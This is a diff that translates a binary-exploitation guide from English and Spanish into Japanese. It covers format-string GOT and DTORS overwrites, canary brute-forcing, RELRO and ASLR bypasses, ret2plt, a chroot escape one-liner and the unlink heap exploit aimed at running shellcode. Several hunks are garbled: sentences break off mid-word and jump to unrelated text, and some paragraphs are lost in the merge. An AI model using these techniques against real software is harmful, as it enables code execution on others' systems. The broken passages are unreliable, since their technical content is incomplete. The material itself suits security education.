+ "%4$hn" + "%.15408x" + "%5$hn"'\` -### **Format String Exploit Template** +### **フォーマット文字列エクスプロイトのテンプレート** -You an find a **template** to exploit the GOT using format-strings here: +GOTを使用してフォーマット文字列をエクスプロイトするための**テンプレート**は、こちらで入手できます: {% content-ref url="format-strings-template.md" %} [format-strings-template.md](format-strings-template.md) @@ -448,152 +444,138 @@ You an find a **template** to exploit the GOT using format-strings here: ### **.fini\_array** -Essentially this is a structure with **functions that will be called** before the program finishes. This is interesting if you can call your **shellcode just jumping to an address**, or in cases where you need to go back to main again to **exploit the format string a second time**. - +基本的に、これはプログラムが終了する前に呼び出される**関数**を含む構造体です。これは、ジャンプしてアドレスに**シェルコードを呼び出す**ことができる場合や、フォーマット文字列を2回目に**エクスプロイトするために再びmainに戻る**必要がある場合に興味があります。 ```bash objdump -s -j .fini_array ./greeting ./greeting: file format elf32-i386 Contents of section .fini_array: - 8049934 a0850408 +8049934 a0850408 #Put your address in 0x8049934 ``` +注意してください。これによって**永遠のループ**は**作成されません**。なぜなら、mainに戻るときにcanaryが検知し、スタックの終わりが破損している可能性があり、関数は再度呼び出されないからです。したがって、これにより、脆弱性の**1回の実行**が可能になります。 -Note that this **won't** **create** an **eternal loop** because when you get back to main the canary will notice, the end of the stack might be corrupted and the function won't be recalled again. So with this you will be able to **have 1 more execution** of the vuln. +### **コンテンツのダンプのためのフォーマット文字列** -### **Format Strings to Dump Content** +フォーマット文字列は、プログラムのメモリから**コンテンツをダンプ**するためにも悪用されることがあります。\ +例えば、次の状況では、**フラグを指すスタック上のローカル変数**があります。メモリのどこに**フラグのポインタ**があるかを**見つける**ことができれば、**printfがそのアドレスにアクセス**し、**フラグ**を**表示**することができます。 -A format string can also be abused to **dump content** from the memory of the program.\ -For example, in the following situation there is a **local variable in the stack pointing to a flag.** If you **find** where in **memory** the **pointer** to the **flag** is, you can make **printf access** that **address** and **print** the **flag**: - -So, flag is in **0xffffcf4c** +したがって、フラグは**0xffffcf4c**にあります。 ![](<../../.gitbook/assets/image (618) (2).png>) -And from the leak you can see the **pointer to the flag** is in the **8th** parameter: +そして、リークから**フラグへのポインタ**が**8番目の**パラメータにあることがわかります。 ![](<../../.gitbook/assets/image (623).png>) -So, **accessing** the **8th parameter** you can get the flag: +したがって、**8番目のパラメータ**にアクセスすると、フラグを取得できます。 ![](<../../.gitbook/assets/image (624).png>) -Note that following the **previous exploit** and realising that you can **leak content** you can **set pointers** to **`printf`** to the section where the **executable** is **loaded** and **dump** it **entirely**! +前の攻撃を追跡し、コンテンツをリークできることに気付いた場合、**printf**に**ポインタ**を設定して、**実行可能な**セクションに**ロード**された**内容**を**完全にダンプ**することもできます! ### **DTOR** {% hint style="danger" %} -Nowadays is very **weird to find a binary with a dtor section**. +現在では、dtorセクションを持つバイナリを見つけることは非常に珍しいです。 {% endhint %} -The destructor are functions that are **executed before program finishes**.\ -If you manage to **write** an **address** to a **shellcode** in **`__DTOR_END__`** , that will be **executed** before the programs ends.\ -Get the address of this section with: - +デストラクタは、プログラムが終了する前に**実行される関数**です。\ +もし、**`__DTOR_END__`**に**シェルコードのアドレス**を書き込むことができれば、それはプログラムが終了する前に**実行**されます。\ +このセクションのアドレスを取得するには、次のコマンドを使用します: ```bash objdump -s -j .dtors /exec rabin -s /exec | grep “__DTOR” ``` +通常、**DTOR**セクションは値`ffffffff`と`00000000`の間にあります。したがって、これらの値だけを見ると、**登録された関数は存在しない**ことを意味します。そのため、**`00000000`**を**シェルコードのアドレス**で**上書き**して実行することで、シェルコードを実行できます。 -Usually you will find the **DTOR** section **between** the values `ffffffff` and `00000000`. So if you just see those values, it means that there **isn't any function registered**. So **overwrite** the **`00000000`** with the **address** to the **shellcode** to execute it. +### **バッファオーバーフローへのフォーマット文字列** -### **Format Strings to Buffer Overflows** +**sprintf**は、**変数にフォーマットされた文字列を移動**します。したがって、文字列の**フォーマット**を悪用して、コピー先の**変数でバッファオーバーフロー**を引き起こすことができます。\ +たとえば、ペイロード`%.44xAAAA`は、変数に44B+"AAAA"を**書き込む**ため、バッファオーバーフローを引き起こす可能性があります。 -Tthe **sprintf moves** a formatted string **to** a **variable.** Therefore, you could abuse the **formatting** of a string to cause a **buffer overflow in the variable** where the content is copied to.\ -For example, the payload `%.44xAAAA` will **write 44B+"AAAA" in the variable**, which may cause a buffer overflow. - -### **\_\_atexit Structures** +### **\_\_atexit構造体** {% hint style="danger" %} -Nowadays is very **weird to exploit this**. +現在では、これを悪用することは非常に**珍しい**です。 {% endhint %} -**`atexit()`** is a function to which **other functions are passed as parameters.** These **functions** will be **executed** when executing an **`exit()`** or the **return** of the **main**.\ -If you can **modify** the **address** of any of these **functions** to point to a shellcode for example, you will **gain control** of the **process**, but this is currently more complicated.\ -Currently the **addresses to the functions** to be executed are **hidden** behind several structures and finally the address to which it points are not the addresses of the functions, but are **encrypted with XOR** and displacements with a **random key**. So currently this attack vector is **not very useful at least on x86** and **x64\_86**.\ -The **encryption function** is **`PTR_MANGLE`**. **Other architectures** such as m68k, mips32, mips64, aarch64, arm, hppa... **do not implement the encryption** function because it **returns the same** as it received as input. So these architectures would be attackable by this vector. +**`atexit()`**は、**他の関数をパラメータとして渡す**関数です。これらの**関数**は、**`exit()`**の実行または**main**の**戻り値**の実行時に**実行**されます。\ +たとえば、これらの**関数**の**アドレス**をシェルコードなどを指すように**変更**できれば、プロセスの**制御を取得**することができますが、現在はこれがより複雑になっています。\ +現在、実行する関数の**アドレス**は、いくつかの構造体の背後に**隠され**ており、最終的に指すアドレスは関数のアドレスではなく、**XORで暗号化**され、**ランダムなキー**で変位されます。したがって、現在、この攻撃ベクトルは**x86**および**x64\_86**ではあまり有用ではありません。\ +**暗号化関数**は**`PTR_MANGLE`**です。m68k、mips32、mips64、aarch64、arm、hppaなどの**他のアーキテクチャ**は、**暗号化**関数を**実装していない**ため、このベクトルによって攻撃される可能性があります。 -### **setjmp() & longjmp()** +### **setjmp()とlongjmp()** {% hint style="danger" %} -Nowadays is very **weird to exploit this**. +現在では、これを悪用することは非常に**珍しい**です。 {% endhint %} -**`Setjmp()`** allows to **save** the **context** (the registers)\ -**`longjmp()`** allows to **restore** the **context**.\ -The **saved registers** are: `EBX, ESI, EDI, ESP, EIP, EBP`\ -What happens is that EIP and ESP are passed by the **`PTR_MANGLE`** function, so the **architecture vulnerable to this attack are the same as above**.\ -They are useful for error recovery or interrupts.\ -However, from what I have read, the other registers are not protected, **so if there is a `call ebx`, `call esi` or `call edi`** inside the function being called, control can be taken over. Or you could also modify EBP to modify the ESP. +**`setjmp()`**は、**コンテキスト**(レジスタ)を**保存**します。\ +**`longjmp()`**は、**コンテキスト**を**復元**します。\ +**保存されるレジスタ**は、`EBX、ESI、EDI、ESP、EIP、EBP`です。\ +問題は、EIPとESPが**`PTR_MANGLE`**関数によって渡されることで、この攻撃に対して脆弱なアーキテクチャは上記と同じです。\ +エラー回復や割り込みに役立ちます。\ +ただし、他のレジスタは保護されていないため、呼び出される関数内に**`call ebx`、`call esi`、`call edi`**がある場合、制御を取得できます。または、EBPを変更してESPを変更することもできます。 -**VTable y VPTR en C++** +**C++のVTableとVPTR** -Each class has a **Vtable** which is an array of **pointers to methods**. +各クラスには、メソッドへのポインタの配列である**Vtable**があります。 -Each object of a **class** has a **VPtr** which is a **pointer** to the arrayof its class. The VPtr is part of the header of each object, so if an **overwrite** of the **VPtr** is achieved it could be **modified** to **point** to a dummy method so that executing a function would go to the shellcode. +各クラスのオブジェクトには、そのクラスの配列への**ポインタ**である**VPtr**があります。VPtrは各オブジェクトのヘッダの一部であり、VPtrを上書きしてダミーメソッドを指すように変更することができれば、関数の実行時にシェルコードに移動することができます。 -## **Medidas preventivas y evasiones** +## **予防策と回避策** -**ASLR no tan aleatorio** +**あまりランダムではないASLR** -PaX dive el espacio de direcciones del proceso en 3 grupos: +PaXはプロセスのアドレス空間を3つのグループに分けます: -Codigo y datos iniciados y no iniciados: .text, .data y .bss —> 16bits de entropia en la variable delta\_exec, esta variable se inicia aleatoriamente con cada proceso y se suma a las direcciones iniciales +コードと初期化されていないデータ:.text、.data、.bss —> 変数delta\_execの16ビットのエントロピー、この変数は各プロセスでランダムに初期化され、初期アドレスに加算されます -Memoria asignada por mmap() y libraries compartidas —> 16bits, delta\_mmap +mmap()によって割り当てられたメモリと共有ライブラリ —> 16ビット、delta\_mmap -El stack —> 24bits, delta\_stack —> Realmente 11 (del byte 10º al 20º inclusive) —>alineado a 16bytes —> 524.288 posibles direcciones reales del stack +スタック —> 24ビット、delta\_stack —> 実際には11(10番目から20番目までのバイト) —> 16バイトにアラインされる —> スタックの実際のアドレスは524,288個あります -Las variables de entorno y los argumentos se desplazan menos que un buffer en el stack. +環境変数と引数は、スタック上のバッファよりも少ない量だけシフトされます。 **Return-into-printf** -Es una técnica para convertir un buffer overflow en un error de cadena de formato. Consiste en sustituir el EIP para que apunte a un printf de la función y pasarle como argumento una cadena de formato manipulada para obtener valores sobre el estado del proceso. +これは、バッファオーバーフローをフォーマット文字列のエラーに変換する技術です。関数のEIPをprintf関数を指すように置き換え、引数としてプロセスの状態に関する値を取得するために操作されたフォーマット文字列を渡すことで、EIPを置き換えます。 -**Ataque a librerías** +**ライブラリへの攻撃** -Las librerías están en una posición con 16bits de aleatoriedad = 65636 posibles direcciones. Si un servidor vulnerable llama a fork() el espacio de direcciones de memoria es clocado en el proceso hijo y se mantiene intacto. Por lo que se puede intentar hacer un brute force a la función usleep() de libc pasándole como argumento “16” de forma que cuando tarde más de lo normal en responder se habrá encontrado dicha función. Sabiendo dónde está dicha función se puede obtener delta\_mmap y calcular las demás. +ライブラリは、16ビットのランダム性を持つ位置にあります。脆弱なサーバーがfork()を呼び出すと、メモリアドレス空間が子プロセスにコピーされ、そのまま保持されます。したがって、libcのusleep()関数に対してブルートフォース攻撃を試みることができます。引数として「16」を渡すことで、通常よりも長い応答時間がかかる場合にその関数が見つかります。その関数の場所がわかると、delta\_mmapを取得し、他の値を計算することができます。 -La única forma de estar seguros de que el ASLR funciona es usando arquitectura de 64bits. Ahí no hay ataques de fuerza bruta. +ASLRが機能していることを確実にする唯一の方法は、64ビットアーキテクチャを使用することです。そこでは、ブルートフォース攻撃は行われません。 -**StackGuard y StackShield** +**StackGuardとStackShield** -**StackGuard** inserta antes del EIP —> 0x000aff0d(null, \n, EndOfFile(EOF), \r) —> Siguen siendo vulnerables recv(), memcpy(), read(), bcoy() y no protege el EBP +**StackGuard**は、EIPの前に挿入される値である0x000aff0d(null、\n、EndOfFile(EOF)、\r)です。recv()、memcpy()、read()、bcoy()は依然として脆弱であり、EBPは保護されません。 -**StackShield** es más elaborado que StackGuard +**StackShield**はStackGuardよりも洗練されています。 -Guarda en una tabla (Global Return Stack) todas las direcciones EIP de vuelta de forma que el overflow no cause ningún daño. Ademas, se pueden comparar ambas direcciones para a ver si ha habido un desbordamiento. +オーバーフローが何の損害も引き起こさないように、グローバルリターンスタックと呼ばれるテーブルにすべてのEIPのアドレスを保存します。さらに、両方のアドレスを比較してオーバーフローが発生したかどうかを確認できます。 -También se puede comprobar la dirección de retorno con un valor límite, así si el EIP se va a un sitio distinto del habitual como el espacio de datos se sabrá. Pero esto se sortea con Ret-to-lib, ROPs o ret2ret. +また、戻り値のアドレスを上限値と比較することもできます。したがって、EIPが通常の場所ではなくデータ領域などに移動した場合に検出できます。ただし、これはRet-to-lib、ROP、ret2retなどで回避することができます。 -Como se puede ver stackshield tampoco protege las variables locales. +StackShieldは、ローカル変数を保護しないことがわかります。 **Stack Smash Protector (ProPolice) -fstack-protector** -Se pone el canary antes del EBP. Reordena las variables locales para que los buffers estén en las posiciones más altas y así no puedan sobreescribir otras variables. +canaryをEBPの前に配置します。バッファ +fork()関数は親プロセスの完全なコピーを作成するため、ウェブサーバーがfork()を呼び出すと、canaryを特定するまでバイトごとのブルートフォース攻撃が可能です。 -Además, realiza una copia segura de los argumentos pasados encima de la pila (encima de las vars locales) y usa estas copias como argumentos. - -No puede proteger arrays de menos de 8 elementos ni buffers que formen parte de una estructura del usuario. - -El canary es un número random sacado de “/dev/urandom” o sino es 0xff0a0000. Se almacena en TLS(Thread Local Storage). Los hilos comparten el mismo espacio de memoria, el TLS es un área que tiene variables globales o estáticas de cada hilo. Sin embargo, en ppio estas son copiadas del proceso padre aunque el proceso hijo podría modificar estos datos sin modificar los del padre ni los de los demás hijos. El problema es que si se usa fork() pero no se crea un nuevo canario, entonces todos los procesos (padre e hijos) usan el mismo canario. En i386 se almacena en gs:0x14 y en x86\_64 se almacena en fs:0x28 - -Esta protección localiza funciones que tengan buffer que puedan ser atacados e incluye en ellas código al ppio de la función para colocar el canario y código al final para comprobarlo. - -La función fork() realiza una copia exacta del proceso del padre, por eso mismo si un servidor web llama a fork() se puede hacer un ataque de fuerza bruta byte por byte hasta averiguar el canary que se está utilizando. - -Si se usa la función execve() después de fork(), se sobreescribe el espacio y el ataque ya no es posible. vfork() permite ejecutar el proceso hijo sin crear un duplicado hasta que el proceso hijo intentase escribir, entonces sí creaba el duplicado. +fork()の後にexecve()関数を使用すると、スペースが上書きされ、攻撃は不可能になります。vfork()は、子プロセスを作成せずに実行することができますが、子プロセスが書き込みを試みると、重複が作成されます。 **Relocation Read-Only (RELRO)** ### Relro -**Relro (Read only Relocation)** affects the memory permissions similar to NX. The difference is whereas with NX it makes the stack executable, RELRO makes **certain things read only** so we **can't write** to them. The most common way I've seen this be an obstacle is preventing us from doing a **`got` table overwrite**, which will be covered later. The `got` table holds addresses for libc functions so that the binary knows what the addresses are and can call them. Let's see what the memory permissions look like for a `got` table entry for a binary with and without relro. - -With relro: +**Relro(読み取り専用リロケーション)**は、メモリのアクセス許可に影響を与えます。NXと同様に、スタックを実行可能にするのではなく、RELROは特定の領域を読み取り専用にし、書き込むことができなくします。これが障害となる最も一般的な方法は、**`got`テーブルの上書き**を防ぐことです。`got`テーブルは、libc関数のアドレスを保持し、バイナリがアドレスを知って呼び出すことができるようにするためのものです。relroを使用した場合の`got`テーブルエントリのメモリアクセス許可を見てみましょう。 +relroを使用した場合: ```bash gef➤ vmmap Start End Offset Perm Path @@ -624,11 +606,9 @@ $2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets> gef➤ search-pattern 0x7ffff7e4d100 [+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory [+] In '/tmp/tryc'(0x555555557000-0x555555558000), permission=r-- - 0x555555557fd0 - 0x555555557fe8 → "\x00\xd1\xe4\xf7\xff\x7f[...]" +0x555555557fd0 - 0x555555557fe8 → "\x00\xd1\xe4\xf7\xff\x7f[...]" ``` - -Without relro: - +リロなし: ```bash gef➤ vmmap Start End Offset Perm Path @@ -659,132 +639,126 @@ $2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets> gef➤ search-pattern 0x7ffff7e4d100 [+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory [+] In '/tmp/try'(0x404000-0x405000), permission=rw- - 0x404018 - 0x404030 → "\x00\xd1\xe4\xf7\xff\x7f[...]" +0x404018 - 0x404030 → "\x00\xd1\xe4\xf7\xff\x7f[...]" ``` +バイナリの**relroなし**の場合、`fgets`の`got`エントリのアドレスは`0x404018`であることがわかります。メモリマッピングを見ると、これは`0x404000`と`0x405000`の間にあり、**`rw`の権限**を持っていることがわかります。つまり、読み書きが可能です。一方、**relroあり**のバイナリでは、バイナリの実行時の`got`テーブルのアドレス(pieが有効なので、このアドレスは変わります)は`0x555555557fd0`です。このバイナリのメモリマッピングでは、`0x0000555555557000`と`0x0000555555558000`の間にあり、メモリの**権限は`r`**であり、読み取りのみが可能です。 -For the binary **without relro**, we can see that the `got` entry address for `fgets` is `0x404018`. Looking at the memory mappings we see that it falls between `0x404000` and `0x405000`, which has the **permissions `rw`**, meaning we can read and write to it. For the binary **with relro**, we see that the `got` table address for the run of the binary (pie is enabled so this address will change) is `0x555555557fd0`. In that binary's memory mapping it falls between `0x0000555555557000` and `0x0000555555558000`, which has the memory **permission `r`**, meaning that we can only read from it. +では、**回避策**は何でしょうか?私が通常使用する回避策は、relroによって読み取り専用になるメモリ領域に書き込まず、**別の方法でコード実行を行う**ことです。 -So what's the **bypass**? The typical bypass I use is to just don't write to memory regions that relro causes to be read only, and **find a different way to get code execution**. +なお、これが実現するためには、バイナリが実行前に関数のアドレスを事前に知っている必要があります。 -Note that in order for this to happen the binary needs to know previous to execution the addresses to the functions: - -* Lazy binding: The address of a function is searched the first time the function is called. So, the GOT needs to have write permissions during execution. -* Bind now: The addresses of the functions are solved at the begginig of the execution, then read-only permissions are given to sensitive sections like .got, .dtors, .ctors, .dynamic, .jcr. `` `** ``-z relro`**`y`**`-z now\`\*\* - -To check if a program uses Bind now you can do: +- 遅延バインディング:関数のアドレスは、関数が初めて呼び出されるときに検索されます。したがって、実行中にGOTに書き込み権限が必要です。 +- すぐにバインド:関数のアドレスは実行の初めに解決され、その後、.got、.dtors、.ctors、.dynamic、.jcrなどの重要なセクションに読み取り専用の権限が与えられます。`` `** ``-z relro`**`y`**`-z now\`\*\* +プログラムがすぐにバインドを使用しているかどうかを確認するには、次のコマンドを実行します。 ```bash readelf -l /proc/ID_PROC/exe | grep BIND_NOW ``` +## Linux Exploiting Basic ESP -Cuando el binario es cargado en memoria y una función es llamada por primera vez se salta a la PLT (Procedure Linkage Table), de aquí se realiza un salto (jmp) a la GOT y descubre que esa entrada no ha sido resuelta (contiene una dirección siguiente de la PLT). Por lo que invoca al Runtime Linker o rtfd para que resuelva la dirección y la guarde en la GOT. +メモリにバイナリがロードされ、関数が初めて呼び出されると、PLT(Procedure Linkage Table)にジャンプし、GOTにジャンプしてそのエントリが解決されていないことを確認します(PLTの次のアドレスを含んでいます)。そのため、ランタイムリンカまたはrtfdを呼び出してアドレスを解決し、GOTに保存します。 -Cuando se llama a una función se llama a la PLT, esta tiene la dirección de la GOT donde se almacena la dirección de la función, por lo que redirige el flujo allí y así se llama a la función. Sin embargo, si es la primera vez que se llama a la función, lo que hay en la GOT es la siguiente instrucción de la PLT, por lo tanto el flujo sigue el código de la PLT (rtfd) y averigua la dirección de la función, la guarda en la GOT y la llama. +関数が呼び出されると、PLTが呼び出され、関数のアドレスが格納されているGOTのアドレスにフローがリダイレクトされ、関数が呼び出されます。ただし、関数が初めて呼び出される場合、GOTにはPLTの次の命令が格納されているため、フローはPLTのコード(rtfd)に従い、関数のアドレスを取得し、GOTに保存して呼び出します。 -Al cargar un binario en memoria el compilador le ha dicho en qué offset tiene que situar datos que se deben de cargar cuando se corre el programa. +バイナリをメモリにロードすると、コンパイラはプログラムを実行する際にロードする必要のあるデータのオフセットを指示します。 -Lazy binding —> La dirección de la función se busca la primera vez que se invoca dicha función, por lo que la GOT tiene permisos de escritura para que cuando se busque, se guarde ahí y no haya que volver a buscarla. +遅延バインディング(Lazy binding)- 関数のアドレスは、その関数が初めて呼び出されるときに検索されるため、GOTは書き込み許可があり、検索時にそこに保存され、再度検索する必要がありません。 -Bind now —> Las direcciones de las funciones se buscan al cargar el programa y se cambian los permisos de las secciones .got, .dtors, .ctors, .dynamic, .jcr a solo lectura. **-z relro** y **-z now** +即時バインディング(Bind now)- プログラムのロード時に関数のアドレスが検索され、.got、.dtors、.ctors、.dynamic、.jcrセクションのパーミッションが読み取り専用に変更されます。**-z relro**および**-z now** -A pesar de esto, en general los programas no están complicados con esas opciones luego estos ataques siguen siendo posibles. +しかし、一般的にプログラムはこれらのオプションで複雑になっていないため、これらの攻撃は依然として可能です。 -**readelf -l /proc/ID\_PROC/exe | grep BIND\_NOW** —> Para saber si usan el BIND NOW +**readelf -l /proc/ID_PROC/exe | grep BIND_NOW** - BIND NOWを使用しているかどうかを確認するためのコマンド -**Fortify Source -D\_FORTIFY\_SOURCE=1 o =2** +**Fortify Source -D_FORTIFY_SOURCE=1 or =2** -Trata de identificar las funciones que copian de un sitio a otro de forma insegura y cambiar la función por una función segura. +安全でないコピー関数を特定し、安全な関数に置き換えます。 -Por ej:\ -char buf\[16];\ -strcpy(but, source); +例えば:\ +char buf[16];\ +strcpy(buf, source); -La identifica como insegura y entonces cambia strcpy() por \_\_strcpy\_chk() utilizando el tamaño del buffer como tamaño máximo a copiar. +これを安全でないと判断し、strcpy()を\_\_strcpy\_chk()に置き換えます。バッファのサイズを最大コピーサイズとして使用します。 -La diferencia entre **=1** o **=2** es que: +**=1**と**=2**の違いは次のとおりです: -La segunda no permite que **%n** venga de una sección con permisos de escritura. Además el parámetro para acceso directo de argumentos solo puede ser usado si se usan los anteriores, es decir, solo se pueda usar **%3$d** si antes se ha usado **%2$d** y **%1$d** +2番目のオプションでは、**%n**が書き込み許可のあるセクションから来ないようにします。また、引数の直接アクセスパラメータは、前述のオプションを使用している場合にのみ使用できます。つまり、**%2$d**と**%1$d**を使用した後にのみ**%3$d**を使用できます。 -Para mostrar el mensaje de error se usa el argv\[0], por lo que si se pone en el la dirección de otro sitio (como una variable global) el mensaje de error mostrará el contenido de dicha variable. Pag 191 +エラーメッセージを表示するためには、argv\[0\]を使用します。そのため、他の場所(グローバル変数など)のアドレスをargv\[0\]に設定すると、エラーメッセージにその変数の内容が表示されます。ページ191 -**Reemplazo de Libsafe** +**Libsafeの置き換え** -Se activa con: LD\_PRELOAD=/lib/libsafe.so.2\ -o\ +次のコマンドで有効になります: LD\_PRELOAD=/lib/libsafe.so.2\ +または\ “/lib/libsave.so.2” > /etc/ld.so.preload -Se interceptan las llamadas a algunas funciones inseguras por otras seguras. No está estandarizado. (solo para x86, no para compilaxiones con -fomit-frame-pointer, no compilaciones estaticas, no todas las funciones vulnerables se vuelven seguras y LD\_PRELOAD no sirve en binarios con suid). +いくつかの安全でない関数呼び出しを安全な関数呼び出しに置き換えます。標準化されていません(x86のみ、-fomit-frame-pointerでのコンパイル、静的コンパイル、すべての脆弱な関数が安全になるわけではない、LD\_PRELOADはsuid付きバイナリでは機能しません)。 **ASCII Armored Address Space** -Consiste en cargar las librería compartidas de 0x00000000 a 0x00ffffff para que siempre haya un byte 0x00. Sin embargo, esto realmente no detiene a penas ningún ataque, y menos en little endian. +共有ライブラリを0x00000000から0x00ffffffまでロードすることで、常に0x00バイトが存在するようにします。ただし、これはほとんどの攻撃を防ぐことはできず、特にリトルエンディアンでは効果がありません。 **ret2plt** -Consiste en realiza un ROP de forma que se llame a la función strcpy@plt (de la plt) y se apunte a la entrada de la GOT y se copie el primer byte de la función a la que se quiere llamar (system()). Acto seguido se hace lo mismo apuntando a GOT+1 y se copia el 2ºbyte de system()… Al final se llama la dirección guardada en GOT que será system() +ROPを使用して、strcpy@plt(pltの関数)を呼び出し、GOTのエントリを指し、呼び出したい関数(system())の最初のバイトをコピーします。その後、GOT+1を指し、system()の2番目のバイトをコピーします... 最後に、GOTに保存されているアドレス(system())を呼び出します。 -**Falso EBP** +**Fake EBP** -Para las funciones que usen el EBP como registro para apuntar a los argumentos al modificar el EIP y apuntar a system() se debe haber modificado el EBP también para que apunte a una zona de memoria que tenga 2 bytes cuales quiera y después la dirección a &”/bin/sh”. +EBPを引数を指すためのレジスタとして使用する関数では、EIPを変更してsystem()を指すようにするために、EBPも変更する必要があります。EBPを2バイトの任意の値を持つメモリ領域を指すように変更し、その後に&"/bin/sh"のアドレスを指す必要があります。 -**Jaulas con chroot()** +**chroot()によるジェイル** -debootstrap -arch=i386 hardy /home/user —> Instala un sistema básico bajo un subdirectorio específico +debootstrap -arch=i386 hardy /home/user - 特定のサブディレクトリに基本システムをインストールします。 -Un admin puede salir de una de estas jaulas haciendo: mkdir foo; chroot foo; cd .. +管理者は、mkdir foo; chroot foo; cd .. を実行することで、ジェイルから抜け出すことができます。 -**Instrumentación de código** +**コードインストゥルメンテーション** -Valgrind —> Busca errores\ +Valgrind - エラーを検出します\ Memcheck\ -RAD (Return Address Defender)\ +RAD(Return Address Defender)\ Insure++ -## **8 Heap Overflows: Exploits básicos** +## 8 Heap Overflows: Exploits básicos -**Trozo asignado** +**割り当てられたチャンク** prev\_size |\ -size | —Cabecera\ -\*mem | Datos +size | - ヘッダー\ +\*mem | データ -**Trozo libre** +**フリーチャンク** prev\_size |\ size |\ -\*fd | Ptr forward chunk\ -\*bk | Ptr back chunk —Cabecera\ -\*mem | Datos +\*fd | フォワードチャンクへのポインタ\ +\*bk | バックチャンクへのポインタ - ヘッダー\ +\*mem | データ -Los trozos libres están en una lista doblemente enlazada (bin) y nunca pueden haber dos trozos libres juntos (se juntan) +フリーチャンクは、ダブルリンクリスト(bin)にあり、2つのフリーチャンクが連続して存在することはありません(結合されます)。 -En “size” hay bits para indicar: Si el trozo anterior está en uso, si el trozo ha sido asignado mediante mmap() y si el trozo pertenece al arena primario. +「size」には、前のチャンクが使用中であるか、mmap()で割り当てられたか、プライマリアリーナに属しているかを示すビットがあります。 -Si al liberar un trozo alguno de los contiguos se encuentra libre , estos se fusionan mediante la macro unlink() y se pasa el nuevo trozo más grande a frontlink() para que le inserte el bin adecuado. +チャンクを解放すると、隣接するチャンクがフリーである場合、これらはunlink()マクロを使用して結合され、最大の新しいチャンクがfrontlink()に渡され、適切なbinに挿入されます。 unlink(){\ -BK = P->bk; —> El BK del nuevo chunk es el que tuviese el que ya estaba libre antes\ -FD = P->fd; —> El FD del nuevo chunk es el que tuviese el que ya estaba libre antes\ -FD->bk = BK; —> El BK del siguiente chunk apunta al nuevo chunk\ -BK->fd = FD; —> El FD del anterior chunk apunta al nuevo chunk\ +BK = P->bk; - 新しいチャンクのBKは以前にフリーだったもののBKです\ +FD = P->fd; - 新しいチャンクのFDは以前にフリーだったもののFDです\ +FD->bk = BK; - 次のチャンクのBKは新しいチャンクを指します\ +BK->fd = FD; - 前のチャンクのFDは新しいチャンクを指します\ } -Por lo tanto si conseguimos modificar el P->bk con la dirección de un shellcode y el P->fd con la dirección a una entrada en la GOT o DTORS menos 12 se logra: +したがって、P->bkをシェルコードのアドレスで、P->fdをGOTまたはDTORSのエントリのアドレスから12を引いたアドレスで変更できれば、次のことが実現できます: -BK = P->bk = \&shellcode\ +BK = P->bk = &shellcode\ FD = P->fd = &\_\_dtor\_end\_\_ - 12\ -FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode +FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = &shellcode -Y así se se ejecuta al salir del programa la shellcode. +これにより、プログラムの終了時にシェルコードが実行されます。 -Además, la 4º sentencia de unlink() escribe algo y la shellcode tiene que estar reparada para esto: - -BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Esto provoca la escritura de 4 bytes a partir del 8º byte de la shellcode, por lo que la primera instrucción de la shellcode debe ser un jmp para saltar esto y caer en unos nops que lleven al resto de la shellcode. - -Por lo tanto el exploit se crea: - -En el buffer1 metemos la shellcode comenzando por un jmp para que caiga en los nops o en el resto de la shellcode. +さらに、unlink()の4番目の文は何かを書き込むため、シェルコードはこれに対応する必要があります: +BK->fd = FD -> \*(\&shellcode + 8) = (&\_\ Después de la shell code metemos relleno hasta llegar al campo prev\_size y size del siguiente trozo. En estos sitios metemos 0xfffffff0 (de forma que se sobrescrita el prev\_size para que tenga el bit que dice que está libre) y “-4“(0xfffffffc) en el size (para que cuando compruebe en el 3º trozo si el 2º estaba libre en realidad vaya al prev\_size modificado que le dirá que s´está libre) -> Así cuando free() investigue irá al size del 3º pero en realidad irá al 2º - 4 y pensará que el 2º trozo está libre. Y entonces llamará a **unlink()**. Al llamar a unlink() usará como P->fd los primeros datos del 2º trozo por lo que ahí se meterá la dirección que se quieres sobreescribir - 12(pues en FD->bk le sumará 12 a la dirección guardada en FD) . Y en esa dirección introducirá la segunda dirección que encuentre en el 2º trozo, que nos interesará que sea la dirección a la shellcode(P->bk falso). @@ -888,199 +862,183 @@ ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr } En \[1] comprueba el campo size el bit NON\_MAIN\_ARENA, el cual se puede alterar para que la comprobación devuelva true y ejecute heap\_for\_ptr() que hace un and a “mem” dejando a 0 los 2.5 bytes menos importantes (en nuestro caso de 0x0804a000 deja 0x08000000) y accede a 0x08000000->ar\_ptr (como si fuese un struct heap\_info) +この方法では、例えば0x0804a000の領域を制御でき、0x081002a0の領域が解放されると、0x08100000のアドレスに自由に書き込むことができます。例えば、0x0804a000を書き込むことができます。この2番目の領域が解放されると、heap_for_ptr(ptr)->ar_ptrは0x08100000に書き込んだ内容を返します(0x081002a0に適用されるand演算から最初の4バイト、ar_ptrの値が取得されます)。 -De esta forma si podemos controlar un trozo por ejemplo en 0x0804a000 y se va a liberar un trozo en **0x081002a0** podemos llegar a la dirección 0x08100000 y escribir lo que queramos, por ejemplo **0x0804a000**. Cuando este segundo trozo se libere se encontrará que heap\_for\_ptr(ptr)->ar\_ptr devuelve lo que hemos escrito en 0x08100000 (pues se aplica a 0x081002a0 el and que vimos antes y de ahí se saca el valor de los 4 primeros bytes, el ar\_ptr) +このように、\_int_free(ar_ptr, mem)が呼び出されます。つまり、\_int_free(0x0804a000, 0x081002a0)です。 -De esta forma se llama a \_int\_free(ar\_ptr, mem), es decir, **\_int\_free(0x0804a000, 0x081002a0)**\ -**\_int\_free(mstate av, Void\_t\* mem){**\ -…\ -bck = unsorted\_chunks(av);\ -fwd = bck->fd;\ -p->bk = bck;\ -p->fd = fwd;\ -bck->fd = p;\ +\_int_free(mstate av, Void_t* mem){ +… +bck = unsorted_chunks(av); +fwd = bck->fd; +p->bk = bck; +p->fd = fwd; +bck->fd = p; fwd->bk = p; +} -..} +前述のように、avの値を制御できることがわかりました。なぜなら、解放される領域に書き込むからです。 -Como hemos visto antes podemos controlar el valor de av, pues es 